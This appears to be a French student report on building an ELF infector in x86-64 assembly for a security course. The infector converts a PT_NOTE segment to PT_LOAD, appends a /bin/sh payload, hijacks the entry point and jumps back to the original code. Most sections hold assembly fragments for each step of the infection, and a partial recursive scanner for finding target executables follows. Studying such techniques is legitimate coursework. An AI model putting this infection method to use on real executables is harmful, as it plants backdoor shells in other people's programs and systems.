ELF Infector

Projet de sécurité shell code

Mathis TEMPO
Professeur : Maxime BOURY

17 décembre 2024

Table des matières

1 Introduction

Le projet a pour but d'infecter n'importe quel exécutable ELF en y injectant un payload malveillant, en maintenant l'intégrité de l'exécution du programme original. Ce rapport présente ma méthodologie utilisée pour infecter un fichier ELF en détaillant les problèmes rencontrés au cours du développement et les solutions que j'ai pu mettre en place.

2 Vérifications des fichiers

2.1 Méthodologie

Un fichier ELF (Executable and Linkable Format) est constitué de plusieurs sections et segments, chacun ayant un rôle spécifique. Des informations importantes sont stockées dans l'en-tête ELF, comme le nombre de segments (program headers), leur type, et les adresses associées.

Voici les sections qui nous intéressent :

— PT_LOAD : Définit les segments chargés en mémoire, comme les sections de code et de données.

— PT_NOTE : Contient des métadonnées ou des informations supplémentaires. Il n'est pas nécessaire au fonctionnement du programme, et peut donc être utilisé pour insérer un payload malveillant sans perturber le comportement original.

La méthode consistait alors à infecter un segment PT_NOTE, normalement destiné à stocker des métadonnées, et de le transformer en un segment PT_LOAD pour exécuter le code malveillant.

2.2 Structure d'un ELF

La première étape de notre projet est de vérifier que le document que l'on souhaite infecter est bien un ELF. Pour ce faire, nous devons d'abord vérifier le type de fichier auquel nous avons à faire. Nous pouvons alors utiliser la structure **stat** avec un sys_stat syscall : nous l'utilisons pour récupérer des informations sur les fichiers. L'un des champs importants est st_mode, qui contient des informations sur le type de fichier et ses permissions. Sur un système Linux 64 bits, cette structure est définie comme suit :

```
struct stat {
    dev_t st_dev;          // ID du peripherique
    ino_t st_ino;          // Numero d'inode
    mode_t st_mode;         // Permissions du fichier
    ...
};
```

Nous pouvons donc récupérer le type de notre fichier dans un buffer (c.f. stat_buff dans mon code) pour vérifier qu'il s'agit du type S_IFREG, et non pas d'un dossier par exemple.

Une fois cela fait, nous devons vérifier que ledit fichier est un ELF.

Un fichier ELF commence par une séquence de bytes spécifique, appelée le "magic number". Ce nombre permet de vérifier notre fichier comme étant un fichier ELF. En hexadécimal, ce magic number est :

$$0x7F454C46 \tag{1}$$

Ce qui correspond aux caractères ASCII : 7F, E, L, F. Il nous suffit d'ouvrir et de lire notre fichier pour comparer les bytes et nous assurer que ce sont les mêmes (c.f. check_elf dans mon code).

3 Parsing des structures

3.1 Parsing de ELF Header

Dans un ELF, le header contient des informations essentielles sur les segments de l'exécutable, tel que le type de fichier, l'architecture du processeur, la version du format ELF, le point d'entrée du programme... Deux valeurs nous intéressent particulièrement, le champ phoff qui donne l'offset des program headers dans le fichier, et le champ phnum, qui nous donne le nombre de program header. Ces headers permettent de définir l'endroit où chaque segment doit être chargé en mémoire.

Pour récupérer ces valeurs, il nous suffit de lire les 64 premiers octets de notre fichier dans un buffer, pour y extraire les valeurs que l'on cherche. Une fois obtenues, on peut se lancer dans la recherche de notre segment PT_NOTE

3.2 Parsing program headers

Pour parser les program headers, j'ai créé un buffer de la taille d'un program header (56 bits), que je remplis à chaque boucle de parsing. On se place alors à l'offset qu'on à récupéré plus tôt dans le parsing du header (phoff) à l'aide d'un lseek (syscall 8), puis on peut lire les 4 premiers octets du program header qui définissent son type. Il suffit alors de comparer des octets avec la valeur correspondant à un PT_NOTE :

```
1    ; Check if segment is PT_NOTE
2    mov eax, [program_header_buff]     ; get segment type
3    cmp eax, 0x00000004                ; compare with PT_NOTE
4    je pt_note_found
```

S'il n'est pas trouvé, on passe au program header suivant.

Dans un premier temps, pour vérifier que je touche au bon segment, j'ai modifié quelques octets aléatoirement du segment sélectionné pour vérifier que je touche au bon.

En utilisant `readelf -l` pour analyser les résultats, j'ai constaté que je modifiais le premier segment :

```
$ readelf -l infected_binary
...
GNU_PROPERTY   0x000000 0x400000 ... RW  <-- Segment modifié par erreur
...
```

Mon code trouvait que chaque section était un PT_NOTE. Par conséquent, mon code modifiait la première section qu'il trouvait, à savoir la section PHDR (GNU property).

Évidemment, l'exécutable n'était alors plus fonctionnel. Le problème ne venait pas de ma logique de comparaison mais plutôt de mon buffer plus tôt, à qui je n'avais pas alloué assez d'espace. Une fois ce problème identifié, ma logique de détection de segment PT_NOTE était fonctionnelle.

Une fois le segment note trouvé, nous pouvons passer à la logique d'infection.

4 Développement de l'infection

4.1 Méthodologie

Le développement de la logique d'infection à été difficile. La plus grande partie du temps a été consacrée à comprendre et à débuguer les problèmes, surtout les aspects liés à la gestion de la mémoire. Pour ce faire, j'ai utilisé ces outils :

- **readelf** : Pour analyser la structure des segments et vérifier les modifications apportées aux en-têtes de programme de notre fichier infecté
- **objdump** : Pour désassembler le code et vérifier l'intégrité des instructions
- **gdb** : Pour suivre l'exécution pas à pas et identifier les points de crash

4.2 Première approche : modification directe du segment

Ma première tentative d'infection consistait à modifier directement le segment PT_NOTE après sa conversion en PT_LOAD pour y écrire notre payload.

```
1    mov dword [program_header_buff], 1      ; conversing in
        PT_LOAD
2    mov dword [program_header_buff + 4], 5 ; Flags RX
3    mov qword [program_header_buff + 8], offset ; original offset
        of the PT_NOTE
```

Pour nous assurer que la modification de notre segment fonctionne, voici tous les champs qui doivent être modifiés :

- `p_type` : Modification de 4 (PT_NOTE) à 1 (PT_LOAD)
- `p_flags` : Configuration à 5 (PF_R — PF_X) pour permettre la lecture et l'exécution
- `p_vaddr` et `p_paddr` : Définition des adresses virtuelles et physiques où le segment sera chargé
- `p_filesz` et `p_memsz` : Ajustement pour correspondre à la taille du payload
- `p_align` : Configuration à 0x1000 pour respecter l'alignement des pages

Une fois ces paramètres modifiés, nous devons mettre à jour l'offset de décalage depuis le début du fichier vers les en-têtes de section si elles se trouvent après notre payload. Cette mise à jour est nécessaire car notre injection modifie la structure du fichier. Je vérifie d'abord si la mise à jour est nécessaire :

```
1 ; Checking the position of section headers
2 mov rax, [ELF_header_buff + 40]    ; e_shoff
```

```
cmp rax, r12                          ; Compare with our payload
    position
jbe no_shoff_update                   ; No need to update if it's
    before

; adjust position if needed
add rax, payload_size
mov [ELF_header_buff + 40], rax
```

Cette approche n'a pas fonctionné (l'éxécutable faisait un segfault), j'ai alors utilisé GDB pour comprendre pourquoi :

- Les segments PT_NOTE sont de taille limitée, insuffisante pour contenir même un petit payload
- La modification directe du segment avait corrompu des données adjacentes dans le fichier
- L'alignement mémoire n'était pas respecté, ce qui causait des erreurs lors du chargement du programme

4.3 Deuxième approche : placement en fin de fichier

Face à ces problèmes, j'ai développé une seconde approche. L'idée était de :

- Placer le payload à la fin du fichier ELF
- Convertir le segment PT_NOTE en PT_LOAD
- Faire pointer ce nouveau segment PT_LOAD vers notre payload

Pour réaliser la recherche de la fin de notre fichier, j'ai implémenté un scan de tous les fichiers LOAD, pour trouver le dernier segment LOAD. Mon but est ensuite de placer le payload juste après :

```
;initialization of the scan
mov qword [last_load_end], 0
mov rcx, [phnum]                ; number of program headers
mov rax, [phoff]                ; Offset to program headers
mov [current_save], rax

scan_load_segments:
;Reading the program header
mov eax, [temp_header]     ; segment type
cmp eax, 1                ; PT_LOAD ?
jne next_load_seg

; Calculation of the end of the segment
mov rax, [temp_header + 16]     ; p_vaddr
add rax, [temp_header + 32]     ; + p_filesz
add rax, 0x1000                 ; one page margin
and rax, ~0xFFF                 ; aligning

;update if its the "highest end" found
```

```
cmp rax, [last_load_end]
jle next_load_seg
mov [last_load_end], rax
```

Cependant, cette approche m'a aussi causé du tort. Le premier problème concernait le calcul des adresses virtuelles. Mon code initial effectuait les calculs suivants :

```
mov r13, [last_load_end]
add r13, 0x200000
```

A ce stade, j'avais des segmentation faults avant même d'atteindre le point d'entrée _start. La commande GDB suivante a été particulièrement utile pour l'analyse :

```
(gdb) info proc mappings
```

Cette commande m'a permis de comprendre que le gap de `0x200000` était beaucoup trop grand. Le segment se retrouvait à l'adresse `0x605000`, trop éloignée des autres segments, et le chargeur de programme ne pouvait pas mapper correctement cette zone mémoire.

Après m'être renseigné sur l'organisation de la mémoire sur Linux, j'ai compris que la mémoire est organisée en pages de 4KB (`0x1000` bytes) et que chaque segment doit être aligné sur une frontière de page. L'espace entre les segments doit être minimal tout en respectant l'alignement.

Voici la formule que j'ai appliqué :

$$\text{adresse\_alignée} = (\text{adresse} + 0\text{xFFF}) \wedge \neg 0\text{xFFF}$$

Le code corrigé :

```
mov r13, [last_load_end]
add r13, 0x1000             ; One page distance
and r13, ~0xFFF             ; Align on a page
```

4.4 Gestion du point d'entrée

Arrivé à ce stade, mon éxecutable ne faisait plus de segfault. Pourtant, mon infection ne fonctionnait toujours pas, et l'executable avait son comportement normal. Avec GDB, j'ai compris que mon problème venait de mon point d'entrée.

Je modifiais directement e_entry dans l'en-tête ELF :

```
    ; Premiere approche problematique
    mov [ELF_header_buff + 24], r13  ; Modification de e_entry
```

Ma modification de e_entry était érroné. Il fallait y mettre l'adresse de la base de mon payload, que je n'avais pas récupéré précedemment.

Le calcul correct est le suivant : [nouveau_e_entry = base_payload + offset_payload]

```
; Saving original entry point
mov rax, 0
mov rdi, [fd]
mov rsi, ELF_header_buff + 24
mov rdx, 8
syscall
mov rbx, [ELF_header_buff + 24]  ; Original entry stored in rbx

mov rax, r13                     ; Our payload
mov [ELF_header_buff + 24], rax
```

Mon projet était alors fonctionnel à ce stade, après infection de l'éxecutable et éxecution de ce dernier, j'obtenais bien un shell.

4.5 Retour au comportement initial

J'ai alors essayé de faire en sorte que le fichier infecté retourne à son comportement initial lorsque l'on sort du shell, via un saut à la fin du payload. Le calcul de l'offset de ce saut était compliqué. Mon premier essai était incomplet :

```
mov rax, rbx                ; original entry saved previously
sub rax, r13                ; substract base
sub rax, payload_size       ; substract payload size
mov [jmp_offset], eax
```

Ce code échouait car j'ai oublié de prendre en compte la structure complète de l'instruction de saut (1 byte pour l'opcode `0xe9`, 4 bytes pour l'offset relatif). L'offset devait aussi être calculé depuis la fin de l'instruction.

Le calcul de l'offset pour le saut de retour doit tenir compte de plusieurs facteurs. La formule complète est : offset = entry_original - (base_payload + taille_payload + 5) L'espace pour cet offset est réservé dans le payload (voir ci-dessous, je détaille le payload).

Une fois avoir compris cela (j'ai passé beaucoup de temps à identifier le problème, j'ai pu corriger mon code :

```
; Calcul correct de l'offset
mov rax, rbx                    ; original entry saved previously
sub rax, r13                    ; Substract base
sub rax, payload_size           ; Substract payload size
sub rax, 5                      ; Soustraire jmp instruction's
   size
mov [jmp_offset], eax
```

4.6 Structure et fonctionnement du payload final

La réalisation du payload a été faite en travaillant avec Maxime Bacq, donc notre code est sûrement similaire. Nous avons rédigé un code en C pour nous assurer qu'il réalisait ce que nous voulions, avant de le convertir en séquences d'opcode. Le payload final est le suivant :

```
align 4                      ; Aligning
payload_start:
payload_buffer:
db 0x50, 0x53...        ; Instructions for /bin/sh
db 0xe9                 ; Opcode for the jmp
jmp_offset dd 0             ; space for the offset
payload_size equ $ - payload_start
```

Le fonctionnement du payload agit comme ceci :

1. Sauvegarde du contexte d'exécution (registres)
2. Exécution du shellcode `/bin/sh`
3. Restauration du contexte
4. Saut vers le point d'entrée original via l'offset calculé

5 Tentative d'implémentation d'un scan récursif

5.1 Objectif initiaux

Le but final de ce projet était d'implémenter un mode de scan : le programme part du répertoire courant et explore récursivement tous les sous-dossiers pour identifier tous les fichiers ELF présents dans l'arborescence. Il affiche les chemins complets de ces fichiers pour permettre à l'utilisateur de sélectionner le fichier à infecter via un index.

Cette fonctionnalité devait être accessible via l'exécution du programme sans arguments, contrairement au mode direct qui requiert le chemin du fichier à infecter en argument.

5.2 Implémentation

L'implémentation de cette fonctionnalité a nécessité l'utilisation d'appels système Linux que je ne connaissais pas, comme `getdents64` (syscall 217) pour lire le contenu des répertoires.

Concernant le fonctionnement que j'avais envisagé : j'ai mis en place une gestion des chemins de fichiers avec des buffers dédiés dans une structure de données pour stocker les fichiers ELF trouvés.

Chaque entrée de répertoire devait être analysée pour distinguer les fichiers des dossiers et éviter les boucles infinies avec les dossiers "." et "..". Je devais ensuite construire les chemins complets corrects pour chaque fichier

5.3 Problèmes rencontrés

J'ai rencontré beaucoup de problèmes durant le développement de cette fonctionnalité qui s'est avérée beaucoup plus difficile à développer que je ne le pensais :

1. **Gestion de la pile** : Des erreurs de segmentation sont apparues lors de la récursion, probablement dues à une mauvaise gestion de la pile lors de mes appels récursifs.
2. **Construction des chemins** : Je ne suis pas parvenu à créer correctement les chemins complets, notamment pour gérer correctement les séparateurs '/' et la concaténation des noms de fichiers.

3. **Détection des fichiers ELF** : Ma fonction pour trouver les fichiers ELF échouait parfois en raison de problèmes d'accès aux fichiers ou de gestion des descripteurs de fichiers.
4. **Gestion de la mémoire** : Des problèmes sont apparus dans la gestion du buffer stockant les chemins des fichiers ELF trouvés, notamment lors de l'atteinte des limites de taille.

Malgré plusieurs tentatives de correction, je n'ai pas réussi à solutionner ces problèmes :
— Le scan s'arretait prématurément dans certains sous-dossiers
— Des chemins de fichiers étaient incorrects ou tronqués
— Des crashs occasionnels apparaissait lors de la récursion de plusieurs dossiers

5.4 Conclusion sur le scan récursif

Faute de temps, cette fonctionnalité n'a pas pu être complètement finalisée. Ce travail m'a néanmoins permis de mieux comprendre la manipulation de chemins de fichiers en assembleur bas niveau. Je vais essayer de continuer le projet pour cette fonctionnalité qui m'a pris beaucoup de temps, malheureusement.

Je vous détaille ci-dessous un extrait de mon code (qui ne marche donc pas pour l'instant) concernant le scan récursif.

```
scan_directory:
; Opening the repo
mov rax, 2
mov rsi, 0x10000        ; O_RDONLY | O_DIRECTORY
syscall
test rax, rax
js .scan_done
mov r15, rax
; reading the entries
.read_entries:
mov rax, 217           ; getdents64
mov rdi, r15
mov rsi, dirent
mov rdx, 1024
syscall
test rax, rax
jle .end_scan

; Processing each input
.process_entry:
; type verification (file or folder)
movzx rax, byte [r13 + 18]  ; d_type
cmp al, 4              ; DT_DIR
je .handle_dir
cmp al, 8              ; DT_REG
je .handle_file
```

La construction des chemins :

```
.handle_dir:
; building new path
mov rdi, temp_path
mov rsi, [rbp-48]     ; original path
call str_copy
; Add separator
mov rdi, temp_path
call str_len
lea rdi, [temp_path + rax]
cmp byte [rdi-1], '/'
je .no_slash
mov byte [rdi], '/'
inc rdi
.no_slash:
; Add subfolder name
lea rsi, [r13 + 19]   ; d_name
call str_copy
; Recursive call
push r12
push r13
push rbx
mov rdi, temp_path
call scan_directory
```